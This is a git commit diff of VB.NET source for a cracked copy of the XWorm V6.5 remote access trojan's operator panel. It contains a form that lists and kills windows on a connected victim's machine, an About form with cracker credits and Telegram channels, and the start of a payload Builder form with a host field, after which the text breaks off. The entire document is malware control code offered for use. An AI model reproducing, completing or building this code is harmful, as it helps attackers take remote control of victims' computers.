initial commit
This commit is contained in:
i2p
Generated
+172
@@ -0,0 +1,172 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class ACT
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(ACT))
|
||||
ListView1 = New System.Windows.Forms.ListView()
|
||||
ColumnHeader1 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
ColumnHeader2 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Guna2ContextMenuStrip1 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
ToolStripMenuItem4 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ToolStripMenuItem6 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ImageList1 = New System.Windows.Forms.ImageList(components)
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel2 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Guna2ContextMenuStrip1.SuspendLayout()
|
||||
StatusStrip1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'ListView1
|
||||
'
|
||||
ListView1.BackColor = System.Drawing.Color.White
|
||||
ListView1.BorderStyle = System.Windows.Forms.BorderStyle.None
|
||||
ListView1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {ColumnHeader1, ColumnHeader2})
|
||||
ListView1.ContextMenuStrip = Guna2ContextMenuStrip1
|
||||
ListView1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
ListView1.Font = New System.Drawing.Font("Tahoma", 8.0!)
|
||||
ListView1.ForeColor = System.Drawing.Color.Black
|
||||
ListView1.FullRowSelect = True
|
||||
ListView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable
|
||||
ListView1.HideSelection = False
|
||||
ListView1.Location = New System.Drawing.Point(0, 0)
|
||||
ListView1.Name = "ListView1"
|
||||
ListView1.Size = New System.Drawing.Size(469, 285)
|
||||
ListView1.SmallImageList = ImageList1
|
||||
ListView1.Sorting = System.Windows.Forms.SortOrder.Ascending
|
||||
ListView1.TabIndex = 2
|
||||
ListView1.UseCompatibleStateImageBehavior = False
|
||||
ListView1.View = System.Windows.Forms.View.Details
|
||||
'
|
||||
'ColumnHeader1
|
||||
'
|
||||
ColumnHeader1.Text = "[ ActiveWindows ]"
|
||||
ColumnHeader1.Width = 345
|
||||
'
|
||||
'ColumnHeader2
|
||||
'
|
||||
ColumnHeader2.Text = "[ Handle ]"
|
||||
ColumnHeader2.Width = 107
|
||||
'
|
||||
'Guna2ContextMenuStrip1
|
||||
'
|
||||
Guna2ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripMenuItem4, ToolStripMenuItem6})
|
||||
Guna2ContextMenuStrip1.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip1.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip1.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip1.Size = New System.Drawing.Size(128, 48)
|
||||
'
|
||||
'ToolStripMenuItem4
|
||||
'
|
||||
ToolStripMenuItem4.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem4.Image = CType(resources.GetObject("ToolStripMenuItem4.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem4.Name = "ToolStripMenuItem4"
|
||||
ToolStripMenuItem4.Size = New System.Drawing.Size(127, 22)
|
||||
ToolStripMenuItem4.Text = "[ Refresh ]"
|
||||
'
|
||||
'ToolStripMenuItem6
|
||||
'
|
||||
ToolStripMenuItem6.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem6.Image = CType(resources.GetObject("ToolStripMenuItem6.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem6.Name = "ToolStripMenuItem6"
|
||||
ToolStripMenuItem6.Size = New System.Drawing.Size(127, 22)
|
||||
ToolStripMenuItem6.Text = "[ Close ]"
|
||||
'
|
||||
'ImageList1
|
||||
'
|
||||
ImageList1.ImageStream = CType(resources.GetObject("ImageList1.ImageStream"), System.Windows.Forms.ImageListStreamer)
|
||||
ImageList1.TransparentColor = System.Drawing.Color.Transparent
|
||||
ImageList1.Images.SetKeyName(0, "windows.png")
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1, ToolStripStatusLabel2})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 285)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(469, 22)
|
||||
StatusStrip1.TabIndex = 4
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(68, 17)
|
||||
ToolStripStatusLabel1.Text = "Selected [0]"
|
||||
'
|
||||
'ToolStripStatusLabel2
|
||||
'
|
||||
ToolStripStatusLabel2.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel2.Name = "ToolStripStatusLabel2"
|
||||
ToolStripStatusLabel2.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel2.Text = ".."
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'ACT
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(469, 307)
|
||||
Controls.Add(ListView1)
|
||||
Controls.Add(StatusStrip1)
|
||||
ForeColor = System.Drawing.Color.White
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "ACT"
|
||||
Text = "ActiveWindows"
|
||||
Guna2ContextMenuStrip1.ResumeLayout(False)
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents ListView1 As ListView
|
||||
Friend WithEvents ColumnHeader1 As ColumnHeader
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents ColumnHeader2 As ColumnHeader
|
||||
Friend WithEvents ToolStripStatusLabel2 As ToolStripStatusLabel
|
||||
Friend WithEvents ImageList1 As ImageList
|
||||
Friend WithEvents Guna2ContextMenuStrip1 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents ToolStripMenuItem4 As ToolStripMenuItem
|
||||
Friend WithEvents ToolStripMenuItem6 As ToolStripMenuItem
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,70 @@
|
||||
Imports System.Threading
|
||||
Public Class ACT
|
||||
|
||||
Public C As Client
|
||||
Private Sub ACT_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Refresh()
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Public Sub Refresh()
|
||||
|
||||
ListView1.Items.Clear()
|
||||
|
||||
ToolStripStatusLabel2.Text = "Wait.."
|
||||
|
||||
Dim B As Byte() = SB("GetWindows")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListView1.SelectedIndexChanged
|
||||
Try
|
||||
ToolStripStatusLabel1.Text = "Selected [" & ListView1.SelectedItems.Count.ToString & "]"
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub ACT_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseActiveWindows")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
|
||||
Try
|
||||
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
||||
If ListView1.Items.Count > 0 Then
|
||||
For Each x As ListViewItem In ListView1.Items
|
||||
x.Selected = True
|
||||
Next
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem4_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem4.Click
|
||||
Refresh()
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem6_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem6.Click
|
||||
Dim HL As String
|
||||
HL = Nothing
|
||||
For Each item As ListViewItem In ListView1.SelectedItems
|
||||
HL &= item.SubItems(1).Text & "-=>"
|
||||
Next
|
||||
Dim B As Byte() = SB("KillWindows" & SettingsHelper.SPL & HL)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+179
@@ -0,0 +1,179 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class About
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(About))
|
||||
Me.LinkLabel4 = New System.Windows.Forms.LinkLabel()
|
||||
Me.Label7 = New System.Windows.Forms.Label()
|
||||
Me.Label1 = New System.Windows.Forms.Label()
|
||||
Me.Label4 = New System.Windows.Forms.Label()
|
||||
Me.Label2 = New System.Windows.Forms.Label()
|
||||
Me.PictureBox3 = New System.Windows.Forms.PictureBox()
|
||||
Me.PictureBox2 = New System.Windows.Forms.PictureBox()
|
||||
Me.LinkLabel1 = New System.Windows.Forms.LinkLabel()
|
||||
Me.Label3 = New System.Windows.Forms.Label()
|
||||
CType(Me.PictureBox3, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'LinkLabel4
|
||||
'
|
||||
Me.LinkLabel4.ActiveLinkColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Me.LinkLabel4.AutoSize = True
|
||||
Me.LinkLabel4.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.LinkLabel4.ForeColor = System.Drawing.Color.Black
|
||||
Me.LinkLabel4.LinkColor = System.Drawing.Color.Black
|
||||
Me.LinkLabel4.Location = New System.Drawing.Point(216, 97)
|
||||
Me.LinkLabel4.Name = "LinkLabel4"
|
||||
Me.LinkLabel4.Size = New System.Drawing.Size(140, 13)
|
||||
Me.LinkLabel4.TabIndex = 73
|
||||
Me.LinkLabel4.TabStop = True
|
||||
Me.LinkLabel4.Text = "https://t.me/scamagent999"
|
||||
'
|
||||
'Label7
|
||||
'
|
||||
Me.Label7.AutoSize = True
|
||||
Me.Label7.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label7.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label7.Location = New System.Drawing.Point(171, 97)
|
||||
Me.Label7.Name = "Label7"
|
||||
Me.Label7.Size = New System.Drawing.Size(48, 13)
|
||||
Me.Label7.TabIndex = 72
|
||||
Me.Label7.Text = "Cracker:"
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.AutoSize = True
|
||||
Me.Label1.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label1.ForeColor = System.Drawing.Color.Red
|
||||
Me.Label1.Location = New System.Drawing.Point(177, 138)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(187, 13)
|
||||
Me.Label1.TabIndex = 71
|
||||
Me.Label1.Text = "I am not responsible for your actions!"
|
||||
'
|
||||
'Label4
|
||||
'
|
||||
Me.Label4.AutoSize = True
|
||||
Me.Label4.Font = New System.Drawing.Font("Tahoma", 9.75!, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label4.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label4.Location = New System.Drawing.Point(171, 51)
|
||||
Me.Label4.Name = "Label4"
|
||||
Me.Label4.Size = New System.Drawing.Size(77, 16)
|
||||
Me.Label4.TabIndex = 68
|
||||
Me.Label4.Text = "Contact Us :"
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Me.Label2.AutoSize = True
|
||||
Me.Label2.Font = New System.Drawing.Font("Tahoma", 9.75!, CType((System.Drawing.FontStyle.Bold Or System.Drawing.FontStyle.Underline), System.Drawing.FontStyle), System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label2.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label2.Location = New System.Drawing.Point(189, 23)
|
||||
Me.Label2.Name = "Label2"
|
||||
Me.Label2.Size = New System.Drawing.Size(149, 16)
|
||||
Me.Label2.TabIndex = 67
|
||||
Me.Label2.Text = "Cracked by: byt3d4sh"
|
||||
'
|
||||
'PictureBox3
|
||||
'
|
||||
Me.PictureBox3.Image = CType(resources.GetObject("PictureBox3.Image"), System.Drawing.Image)
|
||||
Me.PictureBox3.Location = New System.Drawing.Point(161, 21)
|
||||
Me.PictureBox3.Name = "PictureBox3"
|
||||
Me.PictureBox3.Size = New System.Drawing.Size(22, 20)
|
||||
Me.PictureBox3.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
Me.PictureBox3.TabIndex = 66
|
||||
Me.PictureBox3.TabStop = False
|
||||
'
|
||||
'PictureBox2
|
||||
'
|
||||
Me.PictureBox2.Image = CType(resources.GetObject("PictureBox2.Image"), System.Drawing.Image)
|
||||
Me.PictureBox2.Location = New System.Drawing.Point(12, 12)
|
||||
Me.PictureBox2.Name = "PictureBox2"
|
||||
Me.PictureBox2.Size = New System.Drawing.Size(140, 136)
|
||||
Me.PictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
Me.PictureBox2.TabIndex = 65
|
||||
Me.PictureBox2.TabStop = False
|
||||
'
|
||||
'LinkLabel1
|
||||
'
|
||||
Me.LinkLabel1.ActiveLinkColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Me.LinkLabel1.AutoSize = True
|
||||
Me.LinkLabel1.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.LinkLabel1.ForeColor = System.Drawing.Color.Black
|
||||
Me.LinkLabel1.LinkColor = System.Drawing.Color.Black
|
||||
Me.LinkLabel1.Location = New System.Drawing.Point(208, 76)
|
||||
Me.LinkLabel1.Name = "LinkLabel1"
|
||||
Me.LinkLabel1.Size = New System.Drawing.Size(133, 13)
|
||||
Me.LinkLabel1.TabIndex = 75
|
||||
Me.LinkLabel1.TabStop = True
|
||||
Me.LinkLabel1.Text = "t.me/CelestialProjectNews"
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Me.Label3.AutoSize = True
|
||||
Me.Label3.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label3.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label3.Location = New System.Drawing.Point(171, 76)
|
||||
Me.Label3.Name = "Label3"
|
||||
Me.Label3.Size = New System.Drawing.Size(40, 13)
|
||||
Me.Label3.TabIndex = 74
|
||||
Me.Label3.Text = "Group:"
|
||||
'
|
||||
'About
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink
|
||||
Me.BackColor = System.Drawing.Color.White
|
||||
Me.ClientSize = New System.Drawing.Size(479, 160)
|
||||
Me.Controls.Add(Me.LinkLabel1)
|
||||
Me.Controls.Add(Me.Label3)
|
||||
Me.Controls.Add(Me.LinkLabel4)
|
||||
Me.Controls.Add(Me.Label7)
|
||||
Me.Controls.Add(Me.Label1)
|
||||
Me.Controls.Add(Me.Label4)
|
||||
Me.Controls.Add(Me.Label2)
|
||||
Me.Controls.Add(Me.PictureBox3)
|
||||
Me.Controls.Add(Me.PictureBox2)
|
||||
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Me.MaximizeBox = False
|
||||
Me.MinimizeBox = False
|
||||
Me.Name = "About"
|
||||
Me.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide
|
||||
Me.Text = "XWorm V6.5 by c3lestial.fun"
|
||||
CType(Me.PictureBox3, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Me.ResumeLayout(False)
|
||||
Me.PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents LinkLabel4 As LinkLabel
|
||||
Friend WithEvents Label7 As Label
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Label4 As Label
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents PictureBox3 As PictureBox
|
||||
Friend WithEvents PictureBox2 As PictureBox
|
||||
Friend WithEvents LinkLabel1 As LinkLabel
|
||||
Friend WithEvents Label3 As Label
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,42 @@
|
||||
Imports System.Net
|
||||
|
||||
Public Class About
|
||||
|
||||
Public Sub New()
|
||||
InitializeComponent()
|
||||
Opacity = 0
|
||||
FadeIn(Me, 20)
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub LinkLabel4_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel4.LinkClicked
|
||||
Try
|
||||
Process.Start(LinkLabel4.Text)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub About_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12
|
||||
Dim client As New WebClient()
|
||||
Try
|
||||
Dim Resultt As String = "t.me/CelestialProjectRedirect"
|
||||
LinkLabel1.Text = Resultt
|
||||
Catch ex As Exception
|
||||
LinkLabel1.Text = "Failed to load URL content"
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
|
||||
Try
|
||||
Process.Start(LinkLabel1.Text)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click
|
||||
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+916
@@ -0,0 +1,916 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class Builder
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
Me.components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Builder))
|
||||
Me.PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
Me.Label3 = New System.Windows.Forms.Label()
|
||||
Me.Label1 = New System.Windows.Forms.Label()
|
||||
Me.ListBox1 = New System.Windows.Forms.ListBox()
|
||||
Me.Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Me.Guna2TextBox2 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Me.Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Me.Label9 = New System.Windows.Forms.Label()
|
||||
Me.Guna2TextBox3 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Me.Label10 = New System.Windows.Forms.Label()
|
||||
Me.Guna2CheckBox3 = New Guna.UI2.WinForms.Guna2CheckBox()
|
||||
Me.Guna2TextBox4 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Me.Label12 = New System.Windows.Forms.Label()
|
||||
Me.ImageList1 = New System.Windows.Forms.ImageList(Me.components)
|
||||
Me.Guna2CheckBox2 = New Guna.UI2.WinForms.Guna2CheckBox()
|
||||
Me.Guna2CheckBox1 = New Guna.UI2.WinForms.Guna2CheckBox()
|
||||
Me.Guna2CheckBox4 = New Guna.UI2.WinForms.Guna2CheckBox()
|
||||
Me.Guna2ToggleSwitch1 = New Guna.UI2.WinForms.Guna2ToggleSwitch()
|
||||
Me.Label14 = New System.Windows.Forms.Label()
|
||||
Me.Guna2ToggleSwitch2 = New Guna.UI2.WinForms.Guna2ToggleSwitch()
|
||||
Me.Label15 = New System.Windows.Forms.Label()
|
||||
Me.Guna2ToggleSwitch3 = New Guna.UI2.WinForms.Guna2ToggleSwitch()
|
||||
Me.Label16 = New System.Windows.Forms.Label()
|
||||
Me.Guna2ToggleSwitch4 = New Guna.UI2.WinForms.Guna2ToggleSwitch()
|
||||
Me.Label17 = New System.Windows.Forms.Label()
|
||||
Me.Guna2ToggleSwitch5 = New Guna.UI2.WinForms.Guna2ToggleSwitch()
|
||||
Me.Label18 = New System.Windows.Forms.Label()
|
||||
Me.Guna2ToggleSwitch6 = New Guna.UI2.WinForms.Guna2ToggleSwitch()
|
||||
Me.Label19 = New System.Windows.Forms.Label()
|
||||
Me.Guna2CheckBox5 = New Guna.UI2.WinForms.Guna2CheckBox()
|
||||
Me.Guna2CheckBox6 = New Guna.UI2.WinForms.Guna2CheckBox()
|
||||
Me.Guna2CheckBox7 = New Guna.UI2.WinForms.Guna2CheckBox()
|
||||
Me.Guna2TabControl1 = New Guna.UI2.WinForms.Guna2TabControl()
|
||||
Me.TabPage1 = New System.Windows.Forms.TabPage()
|
||||
Me.Label2 = New System.Windows.Forms.Label()
|
||||
Me.Guna2TextBox7 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Me.TabPage2 = New System.Windows.Forms.TabPage()
|
||||
Me.Guna2TextBox6 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Me.Guna2CheckBox8 = New Guna.UI2.WinForms.Guna2CheckBox()
|
||||
Me.Guna2ComboBox2 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Me.Guna2TextBox5 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Me.Guna2NumericUpDown1 = New Guna.UI2.WinForms.Guna2NumericUpDown()
|
||||
Me.Label13 = New System.Windows.Forms.Label()
|
||||
Me.TabPage3 = New System.Windows.Forms.TabPage()
|
||||
Me.PictureBox2 = New System.Windows.Forms.PictureBox()
|
||||
Me.Label4 = New System.Windows.Forms.Label()
|
||||
Me.PictureBox4 = New System.Windows.Forms.PictureBox()
|
||||
Me.Label20 = New System.Windows.Forms.Label()
|
||||
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Me.Guna2TabControl1.SuspendLayout()
|
||||
Me.TabPage1.SuspendLayout()
|
||||
Me.TabPage2.SuspendLayout()
|
||||
CType(Me.Guna2NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Me.TabPage3.SuspendLayout()
|
||||
CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
CType(Me.PictureBox4, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
Me.PictureBox1.Location = New System.Drawing.Point(392, 138)
|
||||
Me.PictureBox1.Name = "PictureBox1"
|
||||
Me.PictureBox1.Size = New System.Drawing.Size(32, 32)
|
||||
Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
Me.PictureBox1.TabIndex = 21
|
||||
Me.PictureBox1.TabStop = False
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Me.Label3.AutoSize = True
|
||||
Me.Label3.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label3.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label3.Location = New System.Drawing.Point(45, 75)
|
||||
Me.Label3.Name = "Label3"
|
||||
Me.Label3.Size = New System.Drawing.Size(36, 13)
|
||||
Me.Label3.TabIndex = 29
|
||||
Me.Label3.Text = "Host :"
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.AutoSize = True
|
||||
Me.Label1.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
